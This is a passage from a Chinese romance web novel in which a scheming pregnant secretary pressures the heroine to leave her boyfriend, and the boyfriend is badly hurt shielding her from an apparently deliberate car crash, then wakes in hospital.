苏明歆也不在意,抱着文件走进去,“边总,这些需要您签个字。” 老边总接过文件,拿过钢笔。 她眸色微动,状若无意道:“边总今天心情看起来很好,总算有天能看到您和边少和和气气的样子了。” “和和气气?”老边总轻哼一声,头都没抬,“他就没给过我好脸,搞得我跟他孙子一样。” 说着又欣慰起来,“但这小子比我想象中有能耐和本事,要是能继承我的衣钵,边氏肯定还能上一个高度。” 苏明歆脸色微变,笑着附和,“那这可是好事!” “不急。”老边总把文件递给她,“现在愿意给我看企划书已经很不错了,我再做做他思想工作,等我退休以后把边氏交到他手上,凭他的眼界,边氏只会越来越好。” “一定会的。”苏明歆笑盈盈地肯定。 抱着文件转身,她脸上所有和善的表情一瞬消失,眼底只剩下阴冷。 胃里忽然一阵恶心感翻涌上来,她眉头一皱,咬牙强忍着,加快步子走出去。办公室门一关,苏明歆直奔洗手间。 “呕——” 对着马桶吐了不少,她难受地爬起来,喘了口气走到洗手池边冲水。 水声稀里哗啦。 她擦了擦嘴,抬头看着镜子里自己。 保养还算不错,风韵犹存,但眼角已经有挡不住的细纹。 过了今年就是三十五岁了。 她抚摸着已经有孕两个月、但现在尚且平坦的小腹,想到刚刚办公室里边总说的那番话。 如果真让边野接手了边氏,首先被踢出局的就是她。 他有多恨她,她不是不知道。 这种场面,绝不可以发生,她是从小镇里走出来的,好不容易才拥有现在的一切- 这个夏天过分炎热,地表似乎都要被太阳晒裂。 外面蝉鸣阵阵,眨眼已经到了八月下旬。 眼见爷爷奶奶的生活平静如水,姜栀放松许多,离开学还有一周,她打算先回去。 收拾行李的时候,边野的视频正好打过来。 接通时,一张俊冷帅气的脸出现在视野里。 “要回来了?”他勾着嘴角,穿着件黑色短T,精壮的肌肉露在外面,手里握着水笔,指骨分明,手背上的青筋一路凸起,虎口一颗棕痣衬出几分性感。 压在手腕下是几张凌乱的试卷。 “嗯,今天的票。” “几点到,我来接你。”他身形懒散地靠着椅子。 “不用啦,我可以自己回来的,天气这么热,你就在家好啦。” 姜栀把衣服叠好一一放进箱子里,扣好锁扣后,她抬头看他,才发现他斜后角堆着一大堆卷子和本子,边角褶皱卷起。 几张摆放的不是很整齐的卷子露出一角来,上面红黑双色笔迹交错,密密麻麻。 她愣了一下。 根据给他布置的暑期任务,最多只有三十张试卷。 这些看起来已经超量很多。 “这么过分?”他挑眉,眼角带着散漫的笑,“见自己女朋友都不让?” “但是今天快四十度了。”男生本来就比较容易出汗。 “看不起我?”边野好笑地看她,“区区四十度还想拦住我?就是一百度我也能来。小爷我有的是手段和力气。” 姜栀被他逗笑,双眼弯弯,像一轮月牙,“三点二十到。” 她看着那些卷子,忍不住问:“你最近都在家里做题吗?不出去跟他们玩吗?” “有什么好玩的。”边野毫不在意,“这些题目再不做,要是考不到大学,你把我扔了怎么办?” 姜栀一脸认真,心口软软,“不会的。” “这可不好说,刚刚某人连见女朋友的机会都不给。” 她弯唇,笑起来比蜜汁还甜,“我是想给你个惊喜的,现在没有惊喜啦。” 边野低笑,不由调侃,“就你这小脑袋瓜,能想出什么惊喜。” 外面又响起蝉鸣。 姜栀抬眼看向窗外,晃眼的阳光将绿叶照的发光,连吹过的风都带着热意。 真好,一切都在慢慢变好。 “你听见了吗?” 她温柔的视线重新落回手机屏幕上,少年漆黑的双眸带着宠溺的温度。 “什么?” 姜栀轻轻出声,嗓音清甜软糯,“归心似箭的声音。” 少年握着笔的手无意识动了下,笔墨在皙白的纸上落下一个黑点。 太阳一路西斜。 姜栀刷身份证出站时已经快三点半,她安安静静站在大厅里却没看见边野的身影。觉得他可能是路上堵车所以晚点,姜栀推着行李箱往休息台边去。 她可以在那坐着等他一会儿。 刚要坐下,跟前忽然多了一道身影。 雪蓝色的薄纱短裙,笔直的双腿下是一双白色细高跟。 她抬头,看见一张许久没见的脸。 “姜栀,又见面了。” 苏明歆温雅一笑,露出洁白的牙齿。 她愣了下,礼貌回应,“你好苏秘书,好巧。” “不巧,我特意让人查了下你回来的时间,在这儿等你。”苏明歆直视着她,脸上带着标志性的笑,语气却有种不容置喙的强硬,“姜栀,谈谈吧。” 她眼里拂过一抹疑惑,“我们?” “对,就我们。” 她面露歉意,“不好意思,我跟你不是很熟,应该没什么好谈的。”她没忘记上次苏明歆差点逼的边野发疯的事,“而且边野要来接我,我得在这儿等他。” 苏明歆脸上没有半点尴尬,像是听不懂她的明拒似的,“巧了,我要跟你说的就是边野,你确定不想听听吗?” 姜栀盯着她,眼眸微动。 苏明歆循循善诱,“听听吧,错过了今天再想知道他的过往可就没机会了。”她眼里浮动着势在必得的光芒,“难道你就不想知道他上一次骨折是怎么发生的吗?” 骨折…… 她眉头轻轻蹙了下。之前在医院问边野的时候,他只说是不小心擦到的,难道另有隐情? 扫了眼四周,仍旧没在人群里看到边野,她下定决心,“去哪?” 苏明歆红唇弯起,“不远,附近就有个咖啡馆。” 姜栀跟着她落座在咖啡馆里时,还有点警惕。 “你不用这么紧张,我不会对你做什么。”苏明歆还有心情调侃她,“光天化日的,到处都是摄像头,我还没那么丧心病狂。” “喝什么?”她看着菜单问。 “不用。” 苏明歆也没强迫她,让服务员给自己上了杯温牛奶。 她摸着杯子笑问:“我以前是无咖啡不欢的,知道我为什么会改喝牛奶吗?” 姜栀觉得这个问题很莫名其妙,但还是礼貌性地配合着摇头。 “因为我怀孕了,已经三个月了。”苏明歆从包里拿出一张孕检单,“是边总的。” 姜栀怔在原地,眼底有不可置信。 虽然之前就能猜到一点她也许跟边叔叔有点什么,但她不知道具体,不能随意揣测,但现在这一出无疑是将似是而非的猜测坐实。 更惊讶于她这么跟自己坦白。 “边叔叔知道吗?”她下意识问。 或许潜意识里,她还是想要相信边叔叔是个好父亲。 苏明歆勾唇,打开手机相册,把一份照片拉出来给她看。 “你觉得呢?” 照片里,边叔叔搂着她,两人在一个被窝里,肌肤相贴。 裸露的地方看得出来没有穿衣服。 姜栀只看了一眼,就迅速错开了视线。 不适感逐渐泛上来。 “都到这个程度了,我现在只想保住自己的孩子,我这个年纪已经算高龄产妇,所以我必须要平平安安生下这个孩子,但很明显,边野容不下我,他曾差点掐死我。” 苏明歆也不跟她绕弯子,“这件事只有你可以帮我。” 在姜栀还没有跟边野走得如此近之前,他毫无野心、不务正业、叛逆不羁,一个只会混吃等死的二世祖是绝无可能有接手边氏的机会。 但现在不一样了。 她没想到这样一个平平无奇的小丫头居然可以让这位二世祖改邪归正,甚至有了进取心,照这个趋势发展下去,和边总的恶劣关系也迟早会缓和。 这太危险了,她绝不可以让这种事发生,解决不掉边野,那就解决掉他最宝贝的人。 她倒要看看,没了这段感情的支撑,他还怎么从泥潭里出来。 姜栀再看她,只觉得心底情绪翻涌。 甚至无法面对她。 “这事你应该找的人是边叔叔。”她努力让自己保持冷静,“既然边叔叔知道,你找他他怎么会不帮你。” 姜栀眉头蹙了下,“你说谎了,边叔叔其实并不知道。” 苏明歆哼笑一声,“不愧是学霸,果然聪明。知不知道的不重要,重要的是,我决定要做的事不会变。” 话音落下,姜栀手机忽然响了。 是边野打来的。 她迟疑一瞬,手机就被人快速抽走,还没反应过来,苏明歆已经当着她的面关机。 “你干什么?”她去夺却扑了个空。 苏明歆一副游刃有余的模样,把手机倒扣在桌上,“我不喜欢有人打扰我们聊天,我和你聊得很投缘,你不觉得吗?” 姜栀脸上没了笑意,“手机还我。” “可以。”她磨砂黑的指甲搭在手机背面,“先听我把话说完。” “本来看你乖乖巧巧的,以为是个听话的,没想到一身反骨。”苏明歆皮笑肉不笑,“那就不妨实话告诉你吧,边野这种成天只知道吃喝玩乐的人,边氏除了边总没有一位董事相信他以后可以带领边氏,没人希望他接手。” “所以,上次骨折只是他们给他的一点警告。” 姜栀眼睫微颤,不动声色吸了口气,“我没理由相信你。” “随你,你可以自己去查,边野风评不好,众所周知的事。”她坦坦荡荡,“我的目的很简单,你离开边野,彻底离开。” 姜栀没有回应她这话,淡淡问:“说完了吧,手机可以还我了吗?” 苏明歆倒是有点意外,嗤笑一声,把手机推过去。 拿到手机,她起身就走,两步之后又回过头。 “边野没做过伤天害理的事,你作为一名母亲,竟做不到将心比心,可悲。”姜栀直视着她精明的眼睛,语调坚定,“我不会答应你的任何要求,你好自为之。” 她说完转身往门外走。 苏明歆胸有成竹地靠在椅子上,“话别撂太早,我会让你改变想法的。当然,你大可以把今天的事告诉边野或者边总,但我保证,事情只会乱成一锅粥,边野和边总也会彻底决裂。” 这些话从背后传来,姜栀头也没回,握着手机的指尖却忍不住收紧。 从咖啡厅里离开,她回头往车站走。 走近了才发现边野正站在门口,目不转睛地盯着里面看。 也不知道在这儿等了多久。 吸了口气,她把刚刚那些乱七八糟的东西全都抛到脑后,扬声喊他,“边野!” 听到声音,少年回头。 淡漠的眉眼里一瞬浮上笑意,勾着唇角朝她走来,顺手接过她手里的行李箱,另一只手牵着她,也不问她为什么从这个方向过来。 “大夏天的,怎么这么凉?”他微微蹙眉。 姜栀的目光描摹着他精致的五官,最后落在那双幽黑的瞳眸里。她笑着摇头,“不知道呀,可能我有制冷功能?” 边野低笑,“那你可真是先进。” “抱歉。”他垂眸看她,神色认真,“出门没多久车轮忽然坏了,耽误接你了。” 姜栀摇头,“不会呀,时间正好。” “倒是你,是不是在这儿等很久了?” 边野戏谑挑眉,“知道还不接我电话?” 她眨了下眼,眸光移开,“没,手机没电关机了。” 边野捏了捏她手指,“以后都要保持有电,如果找不到你,我会担心。”她要是再晚点出现,他就要报警了。 “嗯。”她乖乖应他,“知道啦。” 上了车,姜栀靠在座椅上。 悠缓的音乐蔓延在车里,她望着窗外倒退的风景出神。 苏明歆那张脸不断在脑子里起伏。 “知知?” 等红绿灯时,边野偏头,见她呆呆地望着外面,脸上没什么情绪,问道:“不舒服吗?” “啊?”她回神,顿了下摇头,“没。” “那是坐车坐太久累了?”他伸手去探她额头,温度正常。 姜栀温软一笑,“可能是昨晚没睡好,精力有点不集中。” “那你睡会儿,到了我再叫你。”他轻轻抚了下她脑袋。 “好。” 姜栀闭上眼,起先只是想闭目养神,让自己不要再想那些乱七八糟的,但车开得很稳,有种莫名的催眠效果,她不由自主地睡了过去。 安安静静的。 不知道什么时候,车后传来一声接一声的鸣笛。 她睁开眼,却发现自己悬浮在半空中。 路面上车来车往,边野开得飞快,严重超速。她出声喊他开慢一点,他却像是听不见一般,脚下油门越踩越深,面色阴沉,双目锋利地追着一辆白车。 好几次擦过别人的车,从缝隙里穿过去。 “边野,你快停下,这样太危险了!”她急得要命,不停地劝说,他仍无动于衷。 “你再不听我要生气了!” 边野眉眼沉下来,油门直接一脚踩到底,白车突然漂移打弯,他一路狂飙。 在穿过一段极窄的弯道时,被后车猛地一撞,不受控制地冲破护栏,直直地坠下悬崖,一路沿崖壁撞下去。 漫无边际的血朝她涌过来,她大惊失色,脸色惨白,想要去喊他名字,却怎么也发不出声音,四周天旋地转。 “不要!” 一声急促地低吼,姜栀猛地睁眼,额角渗出细密的冷汗。 “怎么了?”边野趁着堵车间隙看她一眼,见她脸上没半点血色,气息紊乱,胸口明显地起伏,“是不是做噩梦了?” 他握住她的手,掌心有湿润的冷汗。 看着眼前无比正常的车况,她喉间的紧涩感总算退去几分。 原来是梦。 感受到真实的体温,姜栀迎上他的视线,还有些没缓过来,胸口像压着一块巨石,闷沉得难受。 “我没事了。”她扯起嘴角,笑容有些勉强。 注意到她额角的汗,边野抽出一张湿巾递给她,“擦擦汗。” 姜栀接过,动作缓慢地贴上额角,那坠落悬崖的一幕在眼前挥之不去。 她闭了闭眼,试图安抚自己过快的心跳。 没事的,梦都是反的。 不要自己吓自己。 可还是忍不住叮嘱他:“开车要小心。”多余的她也不知道怎么说。 或许是苏明歆的事让她极度不舒服,才会做这样的噩梦。 边野伸手捏了捏她肉嘟嘟的脸颊,“嗯,一定送你安全到家。” 她点点头,没说话。 他眉头微挑,视线在她脸上探寻,欲言又止,最后只是摸了摸她脑袋。 总觉得,她今天有种说不上来的奇怪。 第44章 第 44 章 回到边家, 姜栀借身体疲惫,早早就睡了。 这一晚辗转反侧,睡得并不安稳。 第二天起来下楼时, 她听见楼下传来边野的声音, 像是在跟人打电话。 “野哥, 事情交给我包让你放心的, 所有手续都办好了。”宋言旭臭屁的声音从手机里传出来, 他自夸完忍不住问:“不过你怎么会突然想给姜妹妹买房?她在家里住得不舒服吗?” 边野倚靠在门边, 视线落在远处, “提前打算。” 那天从边氏出来,他不得不承认老东西说得有道理,人不能预见以后,趁他现在手里的压岁钱够,先给她一个最基础的保障。 “真认真了?”宋言旭明知故问,调侃他。 “难道要跟你一样, 见一个爱一个?”边野懒散挑眉, 语调戏谑。 “你这话说得,我这是想给每个女孩一个家好吗。” 宋言旭说完,咳嗽了声,正经问:“这套房买在盐城,也太远了。姜妹妹在这儿待得好好的,你应该在本地买啊。” 他掀了掀眼皮,“你懂什么。” “那你不怕写了姜妹妹的名字,到时候人家要是移情别恋——” 边野眉头一拧, “你要是说不出什么好话, 就把嘴闭上。” “我这不是未雨绸缪吗?” 他漆黑的瞳眸微动,默了几秒后道:“她不会。” 姜栀从楼上轻手轻脚地下来, 生怕打扰到他听电话。 刚下一层,他有所感应似的回头。 看到她,边野勾唇,“醒了?” 宋言旭听到,一脸疑问,“我这不早醒了吗,不然跟你说话的是鬼吗?” “没跟你说。”他低眸瞥了眼手机,没多客气,“挂了。” 掐了电话,他从门边走过去,“脸色怎么看起来不是很好,没睡好吗?” 姜栀走下来,莞尔摇头,“没,可能刚回来有点认床。” “吃完早饭换个衣服跟我出去一趟。” 她边往餐桌边走边问:“去哪儿呀?” 边野陪着她坐下,眼底带着笑意,“想给房子换点软装,你帮我出出主意?” 姜栀愣了下,“壹臣院那套吗?” “嗯,不行?” 她摇摇头,“就是感觉现在的软装已经很好看了。” “当我钱多行不行?”他侧身,一手搭在她身后的椅子上,“现在的没人气,想换点有温度的。” “给不给参谋啊?” 姜栀唇角弯起来,眼底有温软的笑意,“嗯。” 吃完早饭后,两人从边家别墅离开。 到家装城后,边野完全就是个陪衬,只要门店的导员问,他就把问题丢给她。 直到去选床的时候,姜栀有些惊讶,“这个……也要换吗?” “嗯,别的都换这个不换岂不是不般配。” 导员已经知道所有的都靠姜栀来决定,介绍了店里不算便宜的奶白大床,“搭配上店里的这张乳胶床垫,睡起来一定是舒服的,而且颜色也很适合你们这种年纪轻轻的小夫妻,绝对不会过时。” 姜栀脸颊一瞬泛红发烫,她眨着眼看向边野,又看向导员,“我……我们不是……” 边野弯唇,心情愉悦,大手一挥,“那就这个。” 她下意识回头看他。 “你不喜欢?”他低眸,眉头微挑。 姜栀觉得这个问题在这问太奇怪了,羞窘地错开视线,“你、你喜欢就好。” 边野勾了勾唇角。 临近中午,软装才选得差不多,他带着姜栀从家装城出去。 “你就在这等我,我去取车。” 她乖乖点头,“好。” “那个——”在他准备走的时候,她忽然出声。 边野回头看她,“怎么了?” 今天是个阴天,但依旧燥热得让人很容易心烦。 她眼前浮现苏明歆那张脸,还有那些令人不适的话。从昨天回来,她就一直心神不宁,但如果她尝试着跟他说呢,至少她会陪着他的。 “怎么不说话?”边野视线逡巡着她的脸,试图捕捉到一些异常。 她微微仰着头,少年俊气的五官在眼底映着,“等你回来吧。”等你回来我就把那些事都说给你听,我们一起承担。 “什么事情这么神神秘秘的。”他伸手揉了揉她脑袋,“行吧,我快去快回。” 家装城地界繁华,四处都是店面,车流往来密切。 姜栀站在路边,安安静静地看着少年高挺的背影逐渐远去,心底逐渐平静下来。 对面是个茶餐厅,奶油风格的装修,玫瑰金色的门框边窝了一只瘦小柔弱的三花小猫,毛已经打绺,身上好多灰渍,脏兮兮,湿漉漉的眼睛透露着可怜。 里面出来的服务员拿着扫把毫不客气地把它推搡出去,皱着眉驱赶。 小猫害怕地叫出声,小小的身体还在发抖。 服务员又给了它一脚,直接踢到了路边。小猫站不稳,摔在地上。 姜栀看在眼里,眉头蹙起。 这么小的猫怎么可以被这么对待。 从斑马线过去,她小心地把三花抱起来。 一会儿等边野回来,把它送去救助基地,在这里它存活不了。 小猫“喵喵”的恐慌叫着,姜栀温柔地摸摸它脑袋。 确认左右没车来往,她抱着它往回走。 后侧忽然传来一阵急速的车轮摩擦地面的声音。 她下意识回头,一辆黑轿直直地朝她冲来,速度极快。 目标性明确。 姜栀心脏迅猛下坠。 她大脑瞬间一片空白,腿脚僵在原地,像灌了铅,踏出去一步都难。 她要死了吗。 耳后一道刺耳刹车声,红色超跑极限漂移,擦着她猛速而过,在黑轿即将撞上她的刹那,横冲直撞地擦进原本就窄紧的空间。 硬生生地撞飞黑轿车头,为她赢得一线生机。 巨大的相撞声落地,车头冒出白色烟雾。 超跑车门大幅度凹进去,后视镜撞落在地,破碎不堪。 路人纷纷过来围观,不少人拿出手机拍摄。 透过副驾驶玻璃能看到主驾的安全气囊已经弹了出来,少年脑袋耷拉在上面。 姜栀后知后觉地反应过来发生了什么,脸上血色一瞬消尽,绷着身体的筋脉好像啪的一下断了。 她在巨大的惊愕里,浑身冰冷。 “快救人啊!打120和110!” “黑车的人还能救一下,红车这门都卡成这样了,怎么救啊,这烟冒的,咱们还是离远点,万一发生二次伤害怎么办?” “对对对……” 姜栀像丢了魂一样,把三花温柔地放在路边,一步一步地朝着被卡坏的车门走去。 “哎小姑娘,别去啊,咱们给他们报警就行了!” 路边有阿姨出声喊她,她像听不见似的继续往前。 被挤压的这侧车窗玻璃碎得稀烂。 她清晰地看见少年自额角流下来的血,殷红扎眼,刺得她眼睛生痛。 “边野……” 她声音有点哑,带着止不住的颤意,却努力克制着,逼自己冷静,“边野。” “边野你别睡。”她拍着车门,“别睡好不好,120很快就来了,你别睡。” 她不断地重复,脑子里乱得要命,像被轰炸了一样。 抵在方向盘上的人没什么反应。 好像听不见她的话。 “边野,你不是说带我回家的吗?你醒一醒。”她终于慌乱起来,却像凌乱的线扎把自己越困越紧,连呼吸都艰难起来。 姜栀用力去拉凹陷残缺的车门,使了所有力气,它却纹丝不动,她急得鼻子发酸,哽咽着抱怨:“怎么拉不动,怎么会拉不动啊。” “小姑娘,你别白费力气了,撞成这样子,凭你一个人是救不出人的,等警察他们来吧!”有人朝她喊。 姜栀恍若未闻,执拗地拉,眼泪一颗一颗滚下来。 “边野,你听得到我说话对不对,你不可以睡,不可以睡……”她眼底满是泪,视线一片模糊,白皙的手拉拽得通红。 车内少年在昏迷的界限徘徊,耳边有熟悉的带着哭腔的声音,但却好像很远很远,远到他快听不见了。 他眼睫微动,手指轻轻抬了抬。 想睁眼,眼皮却沉重得跟缀了铅一样。 别哭。 心底有道声音试图去安慰,却在胸腔里打转。 车门拉不开,她赤红着眼眶,毫不犹豫地将手伸过破碎的车窗,锋利的玻璃尖划过她皮肤,划出一道口子,有血渗出来,在白皙的肌肤上十分显眼刺目。 她仿佛感受不到痛,握着他的手臂,“边野,对不起边野……” 如果跟着他一起去取车,如果她没有去抱那只猫,没有多管闲事,是不是就不会发生这种事。 感受到触摸,边野用尽了气力睁眼。 脑袋很疼,他抬不起来。 抵着方向盘,他眼前模糊一瞬后渐渐清晰起来。 视线里,她哭红了眼睛和鼻子,眼底的担心和害怕溢出来,却还在强忍。 他努力扯开嘴角,只是幅度并不大。 “别……哭……” 他被疼得皱了下眉,很快压下去,艰难地伸手想去抚掉她脸上的泪,却只能撑起很小的幅度。 姜栀连忙握住他的手,“你别睡,忍一忍,别睡。” 她嗓音哽咽得厉害,鼻音浓重,眼泪在眼眶里打转。 “怎么、把自己弄得……这么可怜。”他还有心思跟她逗趣。 偌大的酸楚涌上来,她错开视线,眼泪却一瞬间掉落,像断了线的珠子,一滴一滴地砸落在地上。 “不哭,知知。”他用尽力气才只能说出这样简短的话,心脏痛得揪起。 眼皮很重,他好像快支撑不了了。 握住的手没力气地耷拉下去,姜栀三魂丢了七魄,所有情绪在一瞬间凝固,有在下一秒像滚滚浪潮一样翻涌而来,将她彻底淹没。 她不知道自己怎么去的医院。 周围消毒水味浓重,姜栀站在抢救室外,脸色惨白如纸,眼眶始终红着,呆愣愣地看着那道门,整个人单薄得好像随时会破碎掉。 身后传来急切的脚步声,还有高跟鞋踩踏地面的哒哒声。 她回头,看到沉着脸的老边总,身旁是面色同样凝重的苏明歆。 “怎么回事?” 老边总看了眼抢救室,皱眉质问,语气生硬压迫。 “对不起边叔叔。”姜栀嗓音沙哑,神色带着憔悴和失魂感。 “他是为了救我,跟对向的黑车相撞。” 老边总看着她这副模样,有些话倒是说不出来了。他心悬着,压着情绪问:“进去多久了?” “二十分钟左右。” 老边总气息从鼻间出来,在抢救室门口站定了会儿,叮嘱:“这事儿别告诉他奶奶,老人年纪大了,受不得刺激。” “嗯。”姜栀手脚冰凉,整个人都像被抽干了一样。 “边少吉人天相,一定会没事的。”苏明歆在旁安慰,“知知也还是个学生,肯定也不想这样的事发生,以后出行还是要注意点。” 老边总脸色越发沉下去。 姜栀眼睫颤动了下,迟钝地意识到什么,抬头看她。 苏明歆轻叹口气,握住她肩膀,“别怕,我们都在。” 姜栀没说话,肚子忽然叫了一声。 “现在都一点多了,你还没吃饭吧?”苏明歆看了眼老边总,“我先带她去吃点东西吧,她应该吓坏了。” 老边总应了声,她拉着姜栀往电梯走。 绕过墙角,姜栀抽回自己的手。 “怎么了?”苏明歆一脸疑惑的看向她。 她错开视线,没说话。 电梯到达这层,她后一步苏明歆进去。 里面只有她们二人,安静得过分。 片刻后,她哑着嗓子问:“今天的事是你,对吗?” 苏明歆看着铮亮如镜子的电梯门,很满意今天明艳的妆容,“今天什么事?小小年纪也学会打哑谜了?” 姜栀看着电梯门上映着的女人,依旧笃定,“这里没有别人,你知道我在说什么,不用装作不明白。” 苏明歆朝着电梯门走近一点,拨了拨自己的波浪卷发,也不回答她,自顾自道:“我这身材是不是维持得也不错?三个多月了,还是不怎么显怀。” 姜栀看了她的小腹,又挪开视线。 她今天穿得相对宽松一些,如果不说,没人能看出来她怀孕了。 “但是呢,”苏明歆回头看她,红唇微弯,“现在不显不代表八九个月的时候也不显,说不定哪天这肚子就被人看出来了,我时间不多,为他早做打算也是应该的。” 她手放在小腹上,像是在说最平常的事。 这无疑是在承认今天的车祸。 姜栀手在发抖,“他是活生生的人,不是你的玩具!” 心底怒意压都压不住,“你有没有想过他要是死了怎么办?杀人是要偿命的!” “啧啧啧。” 苏明歆嗔怪地蹙了下眉,“你别吓唬我,他是为了救你才这样的,是因为你,怎么会跟我有关系呢?” 姜栀捏紧了掌心,目光紧紧地盯着她。 她不动声色地瞥了眼电梯里的摄像头,不过录不到她刻意压低的声音,“有句话怎么说来着?”她凑近姜栀,在她耳旁低声道:“为母则刚,为母……则疯。” 电梯到了一层,苏明歆从里面走出来。 她抓着姜栀的胳膊,力道非常大。 “如果他这次醒过来没什么事就最好了,但人的运气命定的,哪能次次都这么好运呢?”苏明歆脸上带着标准的微笑,“你说是吧。” 姜栀手臂被捏得很痛,她盯着这张脸,“如果边叔叔知道——” “嗯可以,”她点头,松开她胳膊,“你随意,一个没有证据的污蔑和差点害死边野的实情,也许边总可以短暂的智商盆地一下,相信你,开除我这个跟了他近十年的秘书。” 姜栀看着她坦然的双眼,那里面没有丝毫愧疚和害怕。 甚至有一丝得意。 恶寒涌上来。 人来人往的医院大厅,她麻木地走出去。 外面不知道什么时候出了点太阳,姜栀站在台阶上抬头去看,被刺的眯起眼睛。 “想吃什么,我请客。”苏明歆心情不错地偏头看她。 姜栀缓缓收回视线,夏日的阳光照在身上,带来热意,可她的手怎么还是那么凉。 “等他醒。” 她没看苏明歆,眼神没有聚焦,“至少等他醒了。” 让她做最后的告别。 第45章 第 45 章(大修) 从抢救室里出来, 边野就被推进了重症监护室。 医生说是脑外损伤,至于苏醒时间不能确定,也许两三天, 也许一周, 要看病人的求生欲望。 重症监护室不让探视, 姜栀只能站在玻璃墙外远远地看。 那个英勇保护她的少年如今安安静静地躺在病床上, 戴着呼吸机, 一动不动。那样的不羁与热烈像是被封存起来, 连触碰都会痛。 她不言不语地站在那儿, 身姿单薄,和这一面玻璃墙比起来,显得很渺小。 重症监护室内灯光炽亮,老边总看着和自己一见面就不对付的儿子如今悄无声息地躺在那儿,心底滋味难言。 脸色沉重地收回目光,他看向已经站在那许久的姜栀, 叹了口气。 “知知。”他虽没办法完全不怪她, 但明白这是儿子自愿的,如果这会儿躺在里面的是她,边野可能会疯。 见姜栀没动,他又喊了声。 她像生了锈迹的轴锁,卡了一下才回头。 脸色依旧苍白得没什么血色,那双漂亮的眼睛里此刻缠绕着说不出的难过和滞涩。 出这样的事,她也应该被吓坏了。 老边总到底不忍心,温声道:“回去吧, 在这儿守着也没用。小野要是醒了, 我会第一时间告诉你。” “是啊知知,你在这儿也帮不上什么忙, 你现在魂不守舍的,万一你要是也出点什么事怎么办?” 苏明歆温柔附和,笑意却不达眼底。 姜栀淡淡地看了她一眼,又移开视线,声音低低的透着遮掩不住的悲怆,“叔叔您先回去吧,我想再陪他一会儿。” 真是熟悉的执拗。 他也不再说什么,叮嘱她回去路上注意安全后就和苏明歆一道离开了。 走廊上变得很安静。 姜栀缓缓伸手搭在玻璃上,眨眼间,一滴泪又掉下来。 很轻很轻地抽噎,像是压抑许久后翻涌的浪潮。她试图强忍,肩膀还是不住地耸动。 得知边野出车祸后,一路赶来的宋言旭远远看到这一幕,心里五味杂陈。 放轻了脚步走到重症监护室的玻璃墙外,他看向里面紧闭着双眼插着管子的少年,沉沉咽了嗓子。 认识野哥这么久,还是第一次看他躺在这种地方。 脆弱得不像他。 姜栀完全沉浸在自己的情绪里,根本没有意识到几步之后的男生。 直到肩膀上传来一道不轻不重的力道。 她愣了下,顺着回头。 少女眼眶红得厉害,纤长细密的眼睫被泪水打湿凝结在一块,白皙的脸上挂着还没干透的泪渍。 我见犹怜的令人心碎。 “你——”还好吗。 宋言旭本想宽慰宽慰,可看到她这副模样,所有的宽慰都卡在了嗓子眼,半个字都说不出来了。 他收回手,迟疑了片刻才说:“妹妹,你要照顾好自己,”他抬眼瞥了眼里面的人,面色沉重,“你哭成这样,野哥如果知道,会难受的。” “他会醒过来的,野哥一向命大。” 姜栀回头去看安安静静的少年,没什么血色的嘴角勉强扯出一抹弧度,“嗯。” 会醒过来的。 她抬起手背擦掉脸上的泪渍,呼吸间唇瓣发颤。 宋言旭看着她,心底叹了口气。 有些话是不能告诉她的。 譬如野哥上次被车擦到骨折,再比如这次,绝不会是个意外。 野哥开车向来很稳,事发现场的视频他也看了,那个相撞的角度,如果不是人为是不会达到的。 唯一能干这事的,除了苏明歆,他想不到第二个人。 现在能做的就是等,等野哥醒了,再给这件事一个结果。 姜栀没再说话,安安静静地望着里面的人。 宋言旭站在旁边,感觉到一股围绕在她身上的悲伤,千言万语都化作了沉寂。 原以为他们在一起这件事里只有野哥认了真,没想到她也这样赤诚,真的是打着灯笼都难找的姑娘。 野哥吃了这么多年苦,总算有一个人能义无反顾地陪在他身边了。 从医院回去,姜栀没什么精气神,也没胃口,窝在床上试图睡过去短暂地忘记这件事,但她一闭眼,那场车祸就像泥石流朝她滚压过来。 堵得她心口喘不过气来。 断断续续地睡了四五个小时就再也睡不着了。 天一亮,她便去医院看望边野。 管叔看在眼里,心里也难受得紧,却只能暗暗叹气。 边野醒来那天,外面下起了大雨。 闷雷滚滚,天际都被雨幕刷白。 姜栀从管叔嘴里知道的时候,呆愣在原地,像被砸懵了。 “怎么了知知,你——” 管叔一脸担忧,正要关切,就见她朝门外奔去。 “哎!带把伞!”外面雨大得能把人涮个干净,他拿着把伞赶忙追过去。 姜栀一路赶到医院时,脚下球鞋早已湿透。 连身上溅到的雨水都来不及拍干,就直奔边野所在的病房。 老边总比她来得早,也不知道待了多久,但见她来,倒是没在这儿杵着,默不作声地离开,把空间留给两个孩子。 边野戴着呼吸机,身上插着管子,那双紧闭了四天的眼睛终于透出光彩来,漆黑的瞳眸一瞬不错地盯着她。 少女头发带着潮意,短袖袖口被雨浸湿,白皙的胳膊上也有雨点,牛仔裤裤脚打湿了一大截,胸口微微起伏,气息不稳。 心口像有细密的针扎下去,他忍不住收紧指骨。 这些天,她一定吓坏了吧。 姜栀站在病房门口,明明想见的人就在眼前,只要几部距离就可以触碰到他,可脚下跟灌了铅似的抬不起来。 一股鲜明的酸楚泛上来,她眼眶发热,唇瓣颤抖。 眼底有泪打转,紧紧捏着手指才勉强忍回去。 见她迟迟不过来,边野缓缓抬手。 她眼睫轻垂,吸了吸鼻子,走到他身边,强撑起笑来,“你醒啦,是不是很痛——”话到尾音,哽在了喉咙里。 边野漆黑的瞳眸安静地望着她。 他看得出她强忍的情绪,喉结艰涩地滚了滚,抬手握住她的手,掌心温热,他用食指在缓慢写动。 [对不起,吓到你了。] 将每一个字串联起来时,姜栀眼睫颤了下。 有控制不住的难过从心底涌上胸口,沉甸甸地闷在那,她压了又压,摇摇头,想说点什么却一个字都吐不出来。 眼泪啪嗒一下掉出来,正好砸落在他手背上。 带着烫意。 边野瞳眸晦涩几分,心脏像被人紧紧攥住,疼得快喘不过气。 他努力在她手心写字。 [我没事,别哭。] 是他的错,在那天带她出门,如果没有把她一个人丢在那,就不会让她担惊受怕这么久。 姜栀垂着眼睫,手指微微蜷起,“嗯”。 带着点哭腔和鼻音的应答。 [哭成这样不好看了。]他安安静静地写。 她眨着眼睛,情绪已经没那么汹涌,扯起嘴角的笑弧轻轻问:“这样呢,好看一点吗?” [嗯,很好看。]边野握着她柔弱无骨的手,霸道蛮横地不许她松开。 外面下着大雨,窗户被雨打得斑驳。 他听到闷雷响起,拉过她的手写,[等雨小了再回去,回去让管叔煮点姜汤,别感冒了。] “好。”姜栀乖乖应他。 怕他觉得无聊,她就想着法地给他讲一些趣事。 病房里安安静静,只有仪器的滴滴声和她柔软的声音交错响起。 直到他再次睡过去,姜栀才止住了话音。 